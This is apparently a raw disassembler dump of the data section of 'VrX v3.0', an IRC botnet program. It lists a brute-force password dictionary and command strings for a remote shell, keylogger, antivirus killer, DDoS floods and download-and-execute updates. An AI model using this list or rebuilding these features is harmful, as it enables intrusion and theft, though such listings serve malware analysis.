aIbm db 'ibm',0 ; DATA XREF: .data:0042947Co
aOrainstall db 'orainstall',0 ; DATA XREF: .data:00429474o
align 4
aSqlpassoainsta db 'sqlpassoainstall',0 ; DATA XREF: .data:00429470o
align 4
aSql db 'sql',0 ; DATA XREF: .data:0042946Co
aSa db 'sa',0 ; DATA XREF: .data:00429468o
align 4
aDb1234 db 'db1234',0 ; DATA XREF: .data:00429464o
align 4
aDb1 db 'db1',0 ; DATA XREF: .data:0042945Co
aDatabasepasswo db 'databasepassword',0 ; DATA XREF: .data:00429458o
align 4
aData db 'data',0 ; DATA XREF: .data:00429454o
align 4
aDatabasepass db 'databasepass',0 ; DATA XREF: .data:00429450o
align 4
aDbpassword db 'dbpassword',0 ; DATA XREF: .data:0042944Co
align 4
aDbpass db 'dbpass',0 ; DATA XREF: .data:00429448o
align 10h
aAccess db 'access',0 ; DATA XREF: .data:00429444o
align 4
aDomainpassword db 'domainpassword',0 ; DATA XREF: .data:0042943Co
align 4
aDomainpass db 'domainpass',0 ; DATA XREF: .data:00429438o
align 4
aDomain db 'domain',0 ; DATA XREF: .data:00429434o
align 4
aHello db 'hello',0 ; DATA XREF: .data:00429430o
align 4
aHell db 'hell',0 ; DATA XREF: .data:0042942Co
align 4
aGod db 'god',0 ; DATA XREF: .data:00429428o
aSex db 'sex',0 ; DATA XREF: .data:00429424o
; .data:off_438A68o
aSlut db 'slut',0 ; DATA XREF: .data:00429420o
align 4
aBitch db 'bitch',0 ; DATA XREF: .data:0042941Co
align 4
aFuck db 'fuck',0 ; DATA XREF: .data:00429418o
align 4
aExchange db 'exchange',0 ; DATA XREF: .data:00429414o
align 4
aBackup db 'backup',0 ; DATA XREF: .data:00429410o
align 10h
aTechnical db 'technical',0 ; DATA XREF: .data:0042940Co
align 4
aLoginpass db 'loginpass',0 ; DATA XREF: .data:00429408o
align 4
aLogin_1 db 'login',0 ; DATA XREF: .data:00429404o
align 10h
aMary db 'mary',0 ; DATA XREF: .data:00429400o
align 4
aKatie db 'katie',0 ; DATA XREF: .data:004293FCo
align 10h
aKate db 'kate',0 ; DATA XREF: .data:004293F4o
align 4
aGeorge db 'george',0 ; DATA XREF: .data:004293F0o
align 10h
aEric db 'eric',0 ; DATA XREF: .data:004293ECo
align 4
aChris db 'chris',0 ; DATA XREF: .data:004293E8o
align 10h
aIan db 'ian',0 ; DATA XREF: .data:004293E4o
aNeil db 'neil',0 ; DATA XREF: .data:004293E0o
align 4
aLee db 'lee',0 ; DATA XREF: .data:004293DCo
aBrian db 'brian',0 ; DATA XREF: .data:004293D8o
align 4
aSusan db 'susan',0 ; DATA XREF: .data:004293D0o
align 10h
aSue db 'sue',0 ; DATA XREF: .data:004293CCo
aSam db 'sam',0 ; DATA XREF: .data:004293C8o
aLuke db 'luke',0 ; DATA XREF: .data:004293C4o
align 10h
aPeter db 'peter',0 ; DATA XREF: .data:004293C0o
; .data:004293D4o
align 4
aJohn db 'john',0 ; DATA XREF: .data:004293BCo
align 10h
aMike db 'mike',0 ; DATA XREF: .data:004293B8o
align 4
aBill db 'bill',0 ; DATA XREF: .data:004293B4o
align 10h
aFred db 'fred',0 ; DATA XREF: .data:004293B0o
align 4
aJoe db 'joe',0 ; DATA XREF: .data:004293ACo
aJen db 'jen',0 ; DATA XREF: .data:004293A8o
aBob db 'bob',0 ; DATA XREF: .data:004293A4o
; .data:004293F8o
aQwe db 'qwe',0 ; DATA XREF: .data:004293A0o
aZxc db 'zxc',0 ; DATA XREF: .data:0042939Co
aAsd db 'asd',0 ; DATA XREF: .data:00429398o
aQaz db 'qaz',0 ; DATA XREF: .data:00429394o
aWin2000 db 'win2000',0 ; DATA XREF: .data:00429390o
aWinnt db 'winnt',0 ; DATA XREF: .data:0042938Co
align 4
aWinxp db 'winxp',0 ; DATA XREF: .data:00429388o
align 4
aWin2k db 'win2k',0 ; DATA XREF: .data:00429384o
align 4
aWin98 db 'win98',0 ; DATA XREF: .data:00429380o
align 4
aWindows db 'windows',0 ; DATA XREF: .data:0042937Co
aOeminstall db 'oeminstall',0 ; DATA XREF: .data:00429378o
align 10h
aOemuser db 'oemuser',0 ; DATA XREF: .data:00429374o
aOem db 'oem',0 ; DATA XREF: .data:00429370o
; char aUser_0[]
aUser_0 db 'user',0 ; DATA XREF: sub_401ACD+45CFo
; .data:0042936Co
align 4
aHomeuser db 'homeuser',0 ; DATA XREF: .data:00429368o
align 10h
aHome db 'home',0 ; DATA XREF: .data:00429364o
align 4
aAccounting db 'accounting',0 ; DATA XREF: .data:00429360o
align 4
aAccounts db 'accounts',0 ; DATA XREF: .data:0042935Co
align 10h
aInternet db 'internet',0 ; DATA XREF: .data:00429358o
; .data:004294B4o
align 4
aWww db 'www',0 ; DATA XREF: .data:00429354o
; char aWeb[]
aWeb db 'web',0 ; DATA XREF: sub_401ACD+7283o
; .data:00429350o
aOutlook db 'outlook',0 ; DATA XREF: .data:0042934Co
aMail db 'mail',0 ; DATA XREF: .data:00429348o
align 4
aQwerty db 'qwerty',0 ; DATA XREF: .data:00429344o
align 4
aNull_1 db 'null',0 ; DATA XREF: .data:00429340o
align 4
; char aServer_1[]
aServer_1 db 'server',0 ; DATA XREF: sub_401ACD+3E8Bo
; .data:00429338o
align 4
aSystem db 'system',0 ; DATA XREF: .data:00429334o
align 4
aChangeme db 'changeme',0 ; DATA XREF: .data:0042932Co
align 10h
aLinux db 'linux',0 ; DATA XREF: .data:00429328o
align 4
aUnix db 'unix',0 ; DATA XREF: .data:00429324o
align 10h
aDemo db 'demo',0 ; DATA XREF: .data:00429320o
align 4
aNone db 'none',0 ; DATA XREF: .data:0042931Co
align 10h
aTest db 'test',0 ; DATA XREF: .data:00429314o
align 4
a2004 db '2004',0 ; DATA XREF: .data:00429310o
align 10h
a2003 db '2003',0 ; DATA XREF: sub_41AF8F+BAo
; .data:0042930Co
align 4
a2002 db '2002',0 ; DATA XREF: .data:00429308o
align 10h
a2001 db '2001',0 ; DATA XREF: .data:00429304o
align 4
a2000 db '2000',0 ; DATA XREF: .data:00429300o
align 10h
a1234567890 db '1234567890',0 ; DATA XREF: .data:004292FCo
align 4
a123456789 db '123456789',0 ; DATA XREF: .data:004292F8o
align 4
a12345678 db '12345678',0 ; DATA XREF: .data:004292F4o
align 4
a1234567 db '1234567',0 ; DATA XREF: .data:004292F0o
a123456 db '123456',0 ; DATA XREF: .data:004292ECo
align 4
a12345 db '12345',0 ; DATA XREF: .data:004292E8o
align 4
a1234 db '1234',0 ; DATA XREF: .data:004292E4o
align 4
a123 db '123',0 ; DATA XREF: .data:004292E0o
a12 db '12',0 ; DATA XREF: .data:004292DCo
align 4
a1: ; DATA XREF: .text:0040AFC7o
; .data:004292D8o
unicode 0, <1>,0
a007 db '007',0 ; DATA XREF: .data:004292D4o
aPwd db 'pwd',0 ; DATA XREF: .data:004292D0o
aPass_1 db 'pass',0 ; DATA XREF: .data:004292CCo
align 10h
aPass1234 db 'pass1234',0 ; DATA XREF: .data:004292C8o
align 4
aPasswd db 'passwd',0 ; DATA XREF: .data:004292C4o
align 4
aPassword db 'password',0 ; DATA XREF: .data:004292C0o
align 10h
aPassword1 db 'password1',0 ; DATA XREF: .data:004292BCo
align 4
aAdm db 'adm',0 ; DATA XREF: .data:004292B8o
aDb2 db 'db2',0 ; DATA XREF: .data:00429460o
aOracle db 'oracle',0 ; DATA XREF: .data:00429478o
align 4
aDba db 'dba',0
aDatabase db 'database',0 ; DATA XREF: .data:00429440o
align 4
aDefault db 'default',0 ; DATA XREF: .data:00429330o
aGuest_0 db 'guest',0 ; DATA XREF: .data:00429318o
align 4
aWwwadmin db 'wwwadmin',0
align 4
aTeacher db 'teacher',0 ; DATA XREF: .data:004294C0o
aStudent db 'student',0 ; DATA XREF: .data:004294BCo
aOwner db 'owner',0
align 10h
aComputer db 'computer',0
align 4
aRoot db 'root',0 ; DATA XREF: .data:0042933Co
align 4
aStaff db 'staff',0 ; DATA XREF: .data:004294C4o
align 4
aAdmin db 'admin',0 ; DATA XREF: .data:004292B4o
align 4
aAdmins db 'admins',0 ; DATA XREF: .data:004292B0o
align 4
aAdministrat db 'administrat',0 ; DATA XREF: .data:004292ACo
aAdministrateur db 'administrateur',0 ; DATA XREF: .data:004292A8o
align 4
aAdministrador db 'administrador',0 ; DATA XREF: .data:004292A4o
align 4
aAdministrato_0 db 'administrator',0 ; DATA XREF: .data:004292A0o
align 4
aMircV6_21Khale db 'mIRC v6.21 Khaled Mardam-Bey',0 ; DATA XREF: .data:0042916Co
align 4
aMircV6_20Khale db 'mIRC v6.20 Khaled Mardam-Bey',0 ; DATA XREF: .data:00429168o
align 4
aMircV6_17Khale db 'mIRC v6.17 Khaled Mardam-Bey',0 ; DATA XREF: .data:00429164o
align 4
aMircV6_16Khale db 'mIRC v6.16 Khaled Mardam-Bey',0 ; DATA XREF: .data:off_429160o
align 4
a@admin_com db '*@admin.com',0 ; DATA XREF: .data:off_42915Co
; char asc_4299D4[]
asc_4299D4 db '-' ; DATA XREF: WinMain(x,x,x,x)+46Bo
db 3, 34h, 2
dd 6E656469h, 2036474h
aFailedToStartS db '- Failed to start server, error: <%d>.',0
align 4
; char asc_429A08[]
asc_429A08 db '-' ; DATA XREF: WinMain(x,x,x,x)+420o
db 3, 34h, 2
dd 6E656469h, 2036474h
aServerRunningO db '- Server running on Port: 113.',0
align 4
; char asc_429A34[]
asc_429A34 db '-' ; DATA XREF: WinMain(x,x,x,x)+3F3o
db 3, 34h, 2
db 70h ; p
db 72h, 6Fh, 63h
db 73h ; s
db 3, 2, 2Dh
aFailedToStartA db ' Failed to start AV/FW killer thread, error: <%d>.',0
align 4
; char asc_429A74[]
asc_429A74 db '-' ; DATA XREF: WinMain(x,x,x,x)+3A2o
db 3, 34h, 2
db 70h ; p
db 72h, 6Fh, 63h
db 73h ; s
db 3, 2, 2Dh
aAvFwKillerActi db ' AV/FW Killer active.',0
align 4
; char asc_429A98[]
asc_429A98 db '-' ; DATA XREF: WinMain(x,x,x,x)+364o
db 3, 34h, 2
dd 6E69616Dh, 202D0203h, 20746F42h, 72617473h, 2E646574h
dd 0
; char aSDS[]
aSDS db '%s %d "%s"',0 ; DATA XREF: WinMain(x,x,x,x)+28Fo
align 10h
; char Format[]
Format db '%s\%s',0 ; DATA XREF: WinMain(x,x,x,x)+189o
; sub_41716F+45o
align 4
; char aSS[]
aSS db '%s%s',0 ; DATA XREF: WinMain(x,x,x,x)+10Do
; sub_4100B4+EAo ...
align 10h
; char unk_429AD0
unk_429AD0 db 3 ; DATA XREF: sub_4017ED+F2o
a81VrxConnected db '8,1-VrX- Connected to %s.',0
align 4
; char aNickSUserS00S[]
aNickSUserS00S db 'NICK %s',0Dh,0Ah ; DATA XREF: sub_401955+62o
db 'USER %s 0 0 :%s',0Dh,0Ah,0
align 4
; char aPassS[]
aPassS db 'PASS %s',0Dh,0Ah,0 ; DATA XREF: sub_401955+35o
align 4
; char aModeSS_0[]
aModeSS_0 db 'MODE %s %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+7D25o
align 4
; char aUserhostS[]
aUserhostS db 'USERHOST %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+7D0Do
align 4
; char unk_429B34
unk_429B34 db 3 ; DATA XREF: sub_401ACD+7CF9o
a81VrxUserSLogg db '8,1-VrX- User: %s logged in.',0
align 4
unk_429B54 db 3 ; DATA XREF: sub_401ACD+7CDCo
a81VrxPasswordA db '8,1-VrX- Password accepted.',0
align 4
unk_429B74 db 3 ; DATA XREF: sub_401ACD+7C7Bo
a81VrxFailedHos db '8,1-VrX- *Failed host auth by: (%s!%s).',0
align 10h
; char aNoticeSHostAut[]
aNoticeSHostAut db 'NOTICE %s :Host Auth failed (%s!%s).',0Dh,0Ah,0
; DATA XREF: sub_401ACD+7C52o
align 4
unk_429BC8 db 3 ; DATA XREF: sub_401ACD+7C14o
a81VrxFailedPas db '8,1-VrX- *Failed pass auth by: (%s!%s).',0
align 4
; char aNoticeSYourAtt[]
aNoticeSYourAtt db 'NOTICE %s :Your attempt has been logged.',0Dh,0Ah,0
; DATA XREF: sub_401ACD+7C02o
; sub_401ACD+7C69o
align 10h
; char aNoticeSPassAut[]
aNoticeSPassAut db 'NOTICE %s :Pass auth failed (%s!%s).',0Dh,0Ah,0
; DATA XREF: sub_401ACD+7BEBo
align 4
; char asc_429C48[]
asc_429C48: ; DATA XREF: sub_401ACD+7BBBo
unicode 0, <~>,0
; char unk_429C4C
unk_429C4C db 3 ; DATA XREF: sub_401ACD+7B6Bo
a81VrxRandomNic db '8,1-VrX- Random nick change: %s',0
align 10h
; char unk_429C70
unk_429C70 db 3 ; DATA XREF: sub_401ACD+7AFDo
a81VrxReconnect db '8,1-VrX- Reconnecting in %s seconds',0
align 4
; char unk_429C98
unk_429C98 db 3 ; DATA XREF: sub_401ACD+7AB9o
a81VrxReconne_0 db '8,1-VrX- Reconnecting in %s ms',0
unk_429CB8 db 3 ; DATA XREF: sub_401ACD+7A99o
a81VrxNickChang db '8,1-VrX- Nick changed to: ',27h,'%s',27h,'.',0
align 4
unk_429CDC db 3 ; DATA XREF: sub_401ACD+7A7Do
a81VrxJoinedCha db '8,1-VrX- Joined channel: ',27h,'%s',27h,'.',0
unk_429CFC db 3 ; DATA XREF: sub_401ACD+7A5Ao
a81VrxPartedCha db '8,1-VrX- Parted channel: ',27h,'%s',27h,'.',0
unk_429D1C db 3 ; DATA XREF: sub_401ACD+7A3Eo
a81VrxIrcRawS_ db '8,1-VrX- IRC Raw: %s.',0
align 4
; char asc_429D34[]
asc_429D34 db '-' ; DATA XREF: sub_401ACD:loc_40948Ao
db 3, 34h, 2
db 74h ; t
db 68h, 72h, 65h
db 61h ; a
db 64h, 73h, 2
db 3
aFailedToKillTh db '- Failed to kill thread: %s.',0
align 10h
unk_429D60 db 2Dh ; - ; DATA XREF: sub_401ACD+79B6o
db 3, 34h, 2
db 74h ; t
db 68h, 72h, 65h
db 61h ; a
db 64h, 73h, 2
db 3
aKilledThreadS_ db '- Killed thread: %s.',0
align 4
unk_429D84 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_40943Do
db 3, 34h, 2
db 74h ; t
db 68h, 72h, 65h
db 61h ; a
db 64h, 73h, 2
db 3
aNoActiveThread db '- No active threads found.',0
unk_429DAC db 2Dh ; - ; DATA XREF: sub_401ACD+7966o
db 3, 34h, 2
db 74h ; t
db 68h, 72h, 65h
db 61h ; a
db 64h, 73h, 2
db 3
aStoppedDThread db '- Stopped: %d thread(s).',0
align 4
; char aAll[]
aAll db 'all',0 ; DATA XREF: sub_401ACD+794Co
unk_429DD8 db 3 ; DATA XREF: sub_401ACD+7848o
a81VrxPrefixCha db '8,1-VrX- Prefix changed to: ',27h,'%c',27h,'.',0
align 4
unk_429DFC db 2Dh ; - ; DATA XREF: sub_401ACD:loc_409300o
db 3, 34h, 2
db 73h ; s
db 68h, 65h, 6Ch
db 6Ch ; l
db 2, 3, 2Dh
aCouldnTOpenFil db ' Couldn',27h,'t open file: %s',0
unk_429E20 db 2Dh ; - ; DATA XREF: sub_401ACD+7829o
db 3, 34h, 2
db 73h ; s
db 68h, 65h, 6Ch
db 6Ch ; l
db 2, 3, 2Dh
aFileOpenedS db ' File opened: %s',0
align 10h
unk_429E40 db 3 ; DATA XREF: sub_401ACD+7809o
a81VrxServerCha db '8,1-VrX- Server changed to: ',27h,'%s',27h,'.',0
align 4
unk_429E64 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_4092BDo
db 3, 34h, 2
db 64h ; d
db 6Eh, 73h, 2
db 3
aCouldnTResol_0 db '- Couldn',27h,'t resolve hostname.',0
align 4
; char asc_429E8C[]
asc_429E8C db '-' ; DATA XREF: sub_401ACD+77C2o
db 3, 34h, 2
db 64h ; d
db 6Eh, 73h, 2
db 3
aLookupSS_ db '- Lookup: %s -> %s.',0
align 4
unk_429EAC db 2Dh ; - ; DATA XREF: sub_401ACD:loc_409255o
db 3, 34h, 2
db 70h ; p
db 72h, 6Fh, 63h
db 73h ; s
db 2, 3, 2Dh
aFailedToTermin db ' Failed to terminate process: %s',0
align 4
unk_429EDC db 2Dh ; - ; DATA XREF: sub_401ACD+777Eo
db 3, 34h, 2
db 70h ; p
db 72h, 6Fh, 63h
db 73h ; s
db 2, 3, 2Dh
aProcessKilledS db ' Process killed: %s',0
; char asc_429EFC[]
asc_429EFC db '-' ; DATA XREF: sub_401ACD:loc_4091F5o
db 3, 34h, 2
db 70h ; p
db 72h, 6Fh, 63h
db 73h ; s
db 2, 3, 2Dh
aFailedToTerm_0 db ' Failed to terminate process ID: %s',0
unk_429F2C db 2Dh ; - ; DATA XREF: sub_401ACD+7721o
db 3, 34h, 2
db 70h ; p
db 72h, 6Fh, 63h
db 73h ; s
db 2, 3, 2Dh
aProcessKilledI db ' Process killed ID: %s',0
align 10h
; char asc_429F50[]
asc_429F50 db '-' ; DATA XREF: sub_401ACD+76DFo
db 3, 34h, 2
dd 656C6966h, 202D0302h, 656C6544h, 20646574h, 27732527h
dd 2Eh
; char asc_429F6C[]
asc_429F6C db '-' ; DATA XREF: sub_401ACD+7667o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aSendFileSUserS db '- Send File: %s, User: %s.',0
dword_429F90 dd 234032Dh, 656C6966h, 202D0302h, 7473694Ch, 7325203Ah
; DATA XREF: sub_401ACD+75ECo
dd 0
; char asc_429FA8[]
asc_429FA8 db '-' ; DATA XREF: sub_401ACD+75BFo
db 3, 34h, 2
db 76h ; v
db 69h, 73h, 69h
db 74h ; t
db 2, 3, 2Dh
aFailedToStartC db ' Failed to start connection thread, error: <%d>.',0
align 4
; char asc_429FE8[]
asc_429FE8 db '-' ; DATA XREF: sub_401ACD+7550o
db 3, 34h, 2
dd 69736976h, 2D030274h, 4C525520h, 7325203Ah, 2Eh
; char asc_42A000[]
asc_42A000 db '-' ; DATA XREF: sub_401ACD:loc_408F9Do
db 3, 34h, 2
dd 6372696Dh, 202D0302h, 6D6D6F43h, 20646E61h, 746E6573h
dd 2Eh
unk_42A01C db 2Dh ; - ; DATA XREF: sub_401ACD+74C9o
db 3, 34h, 2
db 6Dh ; m
db 69h, 72h, 63h
db 2
db 3, 2Dh, 20h
aClientNotOpen_ db 'Client not open.',0
align 4
; char asc_42A03C[]
asc_42A03C db '-' ; DATA XREF: sub_401ACD+748Fo
db 3, 34h, 2
dd 2646D63h, 43202D03h, 616D6D6Fh, 3A73646Eh, 732520h
unk_42A054 db 2Dh ; - ; DATA XREF: sub_401ACD+7481o
db 3, 34h, 2
db 63h ; c
db 6Dh, 64h, 2
db 3
aErrorSendingTo db '- Error sending to remote shell.',0
align 10h
; char asc_42A080[]
asc_42A080 db 0Ah,0 ; DATA XREF: sub_401ACD+7469o
; sub_4100B4+FBo ...
align 4
unk_42A084 db 3 ; DATA XREF: sub_401ACD+7441o
a81VrxReadFileF db '8,1-VrX- Read file failed: %s',0
align 4
unk_42A0A4 db 3 ; DATA XREF: sub_401ACD+7436o
a81VrxReadFileC db '8,1-VrX- Read file complete: %s',0
align 4
aUnknowModeType db 'Unknow mode type.',0 ; DATA XREF: sub_401ACD:loc_408E97o
align 4
; char aFailedToStartL[]
aFailedToStartL db 'Failed to start logging thread, error: <%d>.',0
; DATA XREF: sub_401ACD+73B4o
align 4
; char aNormalKeyLogge[]
aNormalKeyLogge db 'Normal key logger active.',0 ; DATA XREF: sub_401ACD+733Do
align 4
; char aNormal_0[]
aNormal_0 db 'normal',0 ; DATA XREF: sub_401ACD+72EDo
align 10h
aKeylogerAlread db 'Keyloger Already running.',0 ; DATA XREF: sub_401ACD+7263o
align 4
aVrxV3_0SitesKe db 'VrX v3.0 sites keylogger active.',0 ; DATA XREF: sub_401ACD+7236o
; sub_401ACD+72E5o
align 10h
aKeylog_0 db 'Keylog',0 ; DATA XREF: sub_401ACD+7231o
align 4
; char unk_42A178
unk_42A178 db 3 ; DATA XREF: sub_401ACD+7216o
a81VrxGethostS_ db '8,1-VrX- Gethost: %s.',0
align 10h
; char unk_42A190
unk_42A190 db 3 ; DATA XREF: sub_401ACD+71D2o
a81VrxUnableToE db '8,1-VrX- Unable to extract Gethost command.',0
align 10h
; char unk_42A1C0
unk_42A1C0 db 3 ; DATA XREF: sub_401ACD+71B6o
a81VrxGethostSC db '8,1-VrX- Gethost: %s, Command: %s',0
align 4
unk_42A1E4 db 3 ; DATA XREF: sub_401ACD+7119o
a81VrxAliasAdde db '8,1-VrX- Alias added: %s.',0
align 10h
unk_42A200 db 3 ; DATA XREF: sub_401ACD+70E7o
a81VrxPrivmsgSS db '8,1-VrX- Privmsg: %s: %s.',0
align 4
unk_42A21C db 3 ; DATA XREF: sub_401ACD+7096o
a81VrxActionSS_ db '8,1-VrX- Action: %s: %s.',0
align 4
dword_42A238 dd 312C3803h, 5872562Dh, 7943202Dh, 2E656C63h, 0
; DATA XREF: sub_401ACD+7028o
; char aPartS_1[]
aPartS_1 db 'PART %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+6FEEo
; sub_401ACD+7A49o
align 4
unk_42A258 db 3 ; DATA XREF: sub_401ACD+6FC7o
a81VrxModeChang db '8,1-VrX- Mode change: %s',0
align 4
; char aModeS_0[]
aModeS_0 db 'MODE %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+6FB6o
align 10h
dword_42A280 dd 234032Dh, 6E6F6C63h, 2D030265h, 77615220h, 73252820h
; DATA XREF: sub_401ACD+6F8Do
dd 25203A29h, 73h
dword_42A29C dd 234032Dh, 6E6F6C63h, 2D030265h, 646F4D20h, 25282065h
; DATA XREF: sub_401ACD+6F1Fo
dd 203A2973h, 7325h
; char aModeS[]
aModeS db 'MODE %s',0 ; DATA XREF: sub_401ACD+6EC7o
; char dword_42A2C0[]
dword_42A2C0 dd 234032Dh, 6E6F6C63h, 2D030265h, 63694E20h, 2528206Bh
; DATA XREF: sub_401ACD+6E95o
dd 203A2973h, 7325h
; char aJoinSS_0[]
aJoinSS_0 db 'JOIN %s %s',0 ; DATA XREF: sub_401ACD+6E1Do
align 4
; char aS[]
aS db '%s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+6DEBo
; sub_401ACD+6E71o ...
align 10h
; char aPartS_0[]
aPartS_0 db 'PART %s',0 ; DATA XREF: sub_401ACD+6DB6o
; char asc_42A2F8[]
asc_42A2F8 db '-' ; DATA XREF: sub_401ACD+6D79o
db 3, 34h, 2
dd 67726174h, 3023361h
aFailedToStartF db '- Failed to start flood thread, error: <%d>.',0
align 4
; char asc_42A334[]
asc_42A334 db '-' ; DATA XREF: sub_401ACD+6D0Eo
db 3, 34h, 2
dd 67726174h, 3023361h
aFloodingSForSS db '- Flooding %s for %s seconds.',0
align 10h
unk_42A360 db 2Dh ; - ; DATA XREF: sub_401ACD+6CA8o
db 3, 34h, 2
db 74h ; t
db 73h, 75h, 6Eh
db 61h ; a
db 6Dh, 69h, 2
db 3
aFailedToStar_0 db '- Failed to start flood thread, error: <%d>.',0
align 4
; char asc_42A39C[]
asc_42A39C db '-' ; DATA XREF: sub_401ACD+6C39o
db 3, 34h, 2
db 74h ; t
db 73h, 75h, 6Eh
db 61h ; a
db 6Dh, 69h, 2
db 3
aTsunamiHeading db '- Tsunami heading for %s (%s seconds).',0
; char unk_42A3D0
unk_42A3D0 db 3 ; DATA XREF: sub_401ACD+6B9Do
a81VrxRepeatNot db '8,1-VrX- Repeat not allowed in command line: %s',0
align 4
; char unk_42A404
unk_42A404 db 3 ; DATA XREF: sub_401ACD+6B60o
a81VrxRepeatS db '8,1-VrX- Repeat: %s',0
align 4
dword_42A41C dd 312C3803h, 5872562Dh, 6544202Dh, 2E79616Ch, 0
; DATA XREF: sub_401ACD:loc_408591o
; char aSSSS[]
aSSSS db '%s %s %s :%s',0 ; DATA XREF: sub_401ACD+6A84o
; sub_401ACD+6B37o ...
align 10h
; char asc_42A440[]
asc_42A440 db '-' ; DATA XREF: sub_401ACD:loc_4084F0o
db 3, 34h, 2
dd 61647075h, 3026574h
aBotIdMustBeDif db '- Bot ID must be different than current running process.',0
align 4
dword_42A488 dd 234032Dh, 61647075h, 3026574h ; DATA XREF: sub_401ACD+6A19o
aFailedToStartD db '- Failed to start download thread, error: <%d>.',0
; char asc_42A4C4[]
asc_42A4C4 db '-' ; DATA XREF: sub_401ACD+69AAo
db 3, 34h, 2
dd 61526159h, 3022162h
aDownloadingUpd db '- Downloading update from: %s.',0
align 10h
; char aSS_exe[]
aSS_exe db '%s%s.exe',0 ; DATA XREF: sub_401ACD+6904o
align 4
dword_42A4FC dd 234032Dh, 63657865h, 202D0302h, 6D6D6F43h, 73646E61h
; DATA XREF: sub_401ACD+68A2o
dd 7325203Ah, 0
unk_42A518 db 2Dh ; - ; DATA XREF: sub_401ACD+6897o
db 3, 34h, 2
db 65h ; e
db 78h, 65h, 63h
db 2
db 3, 2Dh, 20h
aCouldnTExecute db 'Couldn',27h,'t execute file.',0
align 4
; char asc_42A53C[]
asc_42A53C db '-' ; DATA XREF: sub_401ACD+67FDo
db 3, 34h, 2
db 66h ; f
db 69h, 6Eh, 64h
db 66h ; f
db 69h, 6Ch, 65h
db 2
db 3, 2Dh, 20h
aFailedToStar_1 db 'Failed to start search thread, error: <%d>.',0
; char asc_42A578[]
asc_42A578 db '-' ; DATA XREF: sub_401ACD+6787o
db 3, 34h, 2
db 66h ; f
db 69h, 6Eh, 64h
db 66h ; f
db 69h, 6Ch, 65h
db 2
db 3, 2Dh, 20h
aSearchingForFi db 'Searching for file: %s in: %s.',0
align 4
dword_42A5A8 dd 234032Dh, 656C6966h, 2D0302h ; DATA XREF: sub_401ACD:loc_40818Do
; sub_401ACD:loc_4091C7o
; char asc_42A5B4[]
asc_42A5B4 db '-' ; DATA XREF: sub_401ACD+66ABo
db 3, 34h, 2
db 66h ; f
db 69h, 6Ch, 65h
db 2
db 3, 2Dh, 20h
aRenameSToS_ db 'Rename: ',27h,'%s',27h,' to: ',27h,'%s',27h,'.',0
align 4
unk_42A5D8 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_408156o
db 3, 34h, 2
db 69h ; i
db 63h, 6Dh, 70h
db 2
db 3, 2Dh, 20h
aInvalidFloodTi db 'Invalid flood time must be greater than 0.',0
align 10h
unk_42A610 db 2Dh ; - ; DATA XREF: sub_401ACD+667Fo
db 3, 34h, 2
db 69h ; i
db 63h, 6Dh, 70h
db 2
db 3, 2Dh, 20h
aFailedToStar_2 db 'Failed to start flood thread, error: <%d>.',0
align 4
; char asc_42A648[]
asc_42A648 db '-' ; DATA XREF: sub_401ACD+660Fo
db 3, 34h, 2
db 69h ; i
db 63h, 6Dh, 70h
db 2
db 3, 2Dh, 20h
aFloodingSFor_0 db 'Flooding: (%s) for %s seconds.',0
align 4
dword_42A674 dd 234032Dh, 6E6F6C63h, 3027365h ; DATA XREF: sub_401ACD+658Co
aFailedToStar_3 db '- Failed to start clone thread, error: <%d>.',0
align 10h
; char asc_42A6B0[]
asc_42A6B0 db '-' ; DATA XREF: sub_401ACD+651Do
db 3, 34h, 2
dd 6E6F6C63h, 3027365h
aCreatedOnSDInC db '- Created on %s:%d, in channel %s.',0
align 10h
unk_42A6E0 db 2Dh ; - ; DATA XREF: sub_401ACD+64A4o
db 3, 34h, 2
db 64h ; d
db 64h, 6Fh, 73h
db 2
db 3, 2Dh, 20h
aFailedToStar_4 db 'Failed to start flood thread, error: <%d>.',0
align 4
; char asc_42A718[]
asc_42A718 db '-' ; DATA XREF: sub_401ACD+6435o
db 3, 34h, 2
db 64h ; d
db 64h, 6Fh, 73h
db 2
db 3, 2Dh, 20h
aFloodingSSForS db 'Flooding: (%s:%s) for %s seconds.',0
align 4
unk_42A748 db 2Dh ; - ; DATA XREF: sub_401ACD+63ABo
db 3, 34h, 2
db 73h ; s
db 79h, 6Eh, 2
db 3
aFailedToStar_5 db '- Failed to start flood thread, error: <%d>.',0
align 10h
; char asc_42A780[]
asc_42A780 db '-' ; DATA XREF: sub_401ACD+633Co
db 3, 34h, 2
db 73h ; s
db 79h, 6Eh, 2
db 3
aFloodingSSFo_0 db '- Flooding: (%s:%s) for %s seconds.',0
align 10h
unk_42A7B0 db 2Dh ; - ; DATA XREF: sub_401ACD+62C3o
db 3, 34h, 2
db 77h ; w
db 6Fh, 6Eh, 6Bh
db 2
db 3, 2Dh, 20h
aFailedToStar_6 db 'Failed to start flood thread, error: <%d>.',0
align 4
; char asc_42A7E8[]
asc_42A7E8 db '-' ; DATA XREF: sub_401ACD+6254o
db 3, 34h, 2
db 77h ; w
db 6Fh, 6Eh, 6Bh
db 2
db 3, 2Dh, 20h
aFloodingSFor_1 db 'Flooding %s for %s seconds using delay %s ms.',0
align 4
unk_42A824 db 2Dh ; - ; DATA XREF: sub_401ACD+61DBo
db 3, 34h, 2
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2
db 3, 2Dh, 20h
aFailedToStartT db 'Failed to start transfer thread, error: <%d>.',0
align 4
; char asc_42A864[]
asc_42A864 db '-' ; DATA XREF: sub_401ACD+616Co
db 3, 34h, 2
dd 61526159h, 3022162h
aDownloadingUrl db '- Downloading URL: %s to: %s.',0
align 10h
unk_42A890 db 2Dh ; - ; DATA XREF: sub_401ACD+609Do
db 3, 34h, 2
db 72h ; r
db 65h, 64h, 69h
db 72h ; r
db 65h, 63h, 74h
db 2
db 3, 2Dh, 20h
aFailedToStartR db 'Failed to start redirection thread, error: <%d>.',0
align 4
; char asc_42A8D4[]
asc_42A8D4 db '-' ; DATA XREF: sub_401ACD+602Eo
db 3, 34h, 2
db 72h ; r
db 65h, 64h, 69h
db 72h ; r
db 65h, 63h, 74h
db 2
